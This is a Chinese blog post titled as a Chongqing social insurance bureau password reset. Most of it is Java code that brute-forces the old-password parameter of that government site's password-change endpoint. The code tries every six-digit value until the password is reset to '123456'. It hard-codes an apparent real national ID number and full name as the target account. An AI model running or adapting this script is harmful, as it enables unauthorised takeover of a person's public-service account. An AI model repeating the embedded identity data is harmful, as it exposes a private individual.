zoukankan      html  css  js  c++  java
  • 重庆社保局密码重置

    登录:http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp

    F12获取修改密码路径:http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do

    一、新建实体接受 返回对象

    package com.ycgwl;
    
    public class rel {
        private String code;
        private String message;
        public String getCode() {
            return code;
        }
        public void setCode(String code) {
            this.code = code;
        }
        public String getMessage() {
            return message;
        }
        public void setMessage(String message) {
            this.message = message;
        }
        
    }
    package com.ycgwl;
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStreamWriter;
    import java.net.HttpURLConnection;
    import java.net.URL;
    
    import com.alibaba.fastjson.JSON;
    
    public class Bean {
    
        public static void main(String[] args) {
            String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
            String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";
    
            for(int i=465;i<1000000;i++) {
                String pwdd = getPwdString(i);
                if(pwdd.equals("")) {
                    System.out.println("获取密码出错");
                    System.exit(0);
                }
                String result = Post(url,urlpara.replace("pwd", pwdd));
                while("IOException".equals(result)) {
                    result = Post(url,urlpara.replace("pwd", pwdd));
                }
                System.out.println(i+"``````````````````"+result);
                rel rel = JSON.parseObject(result, rel.class);
                if(!rel.getCode().equals("0")) {
                    System.out.println("设置成功");
                    System.exit(0);
                }
            }
    
        }
    
        
        public static String Post(String strURL, String params) {  
            try {  
                URL url = new URL(strURL);// 创建连接  
                HttpURLConnection connection = (HttpURLConnection) url.openConnection();
                connection.setDoOutput(true);  
                connection.setDoInput(true);  
                connection.setUseCaches(false);  
                connection.setInstanceFollowRedirects(true);  
                connection.setRequestMethod("POST"); // 设置请求方式  
                connection.setReadTimeout(100);
                connection.connect();  
                OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
                out.append(params);  
                out.flush();  
                out.close();  
    
                InputStream is = connection.getInputStream(); 
    
                byte[] temp = new byte[connection.getContentLength()];  
                is.read(temp);
                String result = new String(temp, "UTF-8"); // utf-8编码  
                return result;  
    
            } catch (IOException e) {  
                return "IOException";
            }
        }
    
        
        public static String getPwdString(int index) {
            int length = String.valueOf(index).length();
            switch (length) {
                case 1:
                    return "00000"+index;
                case 2:
                    return "0000"+index;
                case 3:
                    return "000"+index;
                case 4:
                    return "00"+index;
                case 5:
                    return "0"+index;
                case 6:
                    return ""+index;
                default:
                    return "";
            }
        }
    }
  • 相关阅读:
    [转]华人总结“十个”出了国才能知道秘密!
    为nopcommerce自定义用户积分功能(2)
    [转]两名清洁女工谈论萨达姆之死
    V4L2编程 视频采集
    C# 自定义箭头组件
    .NET Micro Framework简介
    .NET Micro Framework常见问题问答
    和我一起作Tess的windbg lab Lab6, MemoryLeak
    微软上海招聘有经验的.NET开发人员
    Kinect 1
  • 原文地址:https://www.cnblogs.com/acme6/p/9342478.html
Copyright © 2011-2022 走看看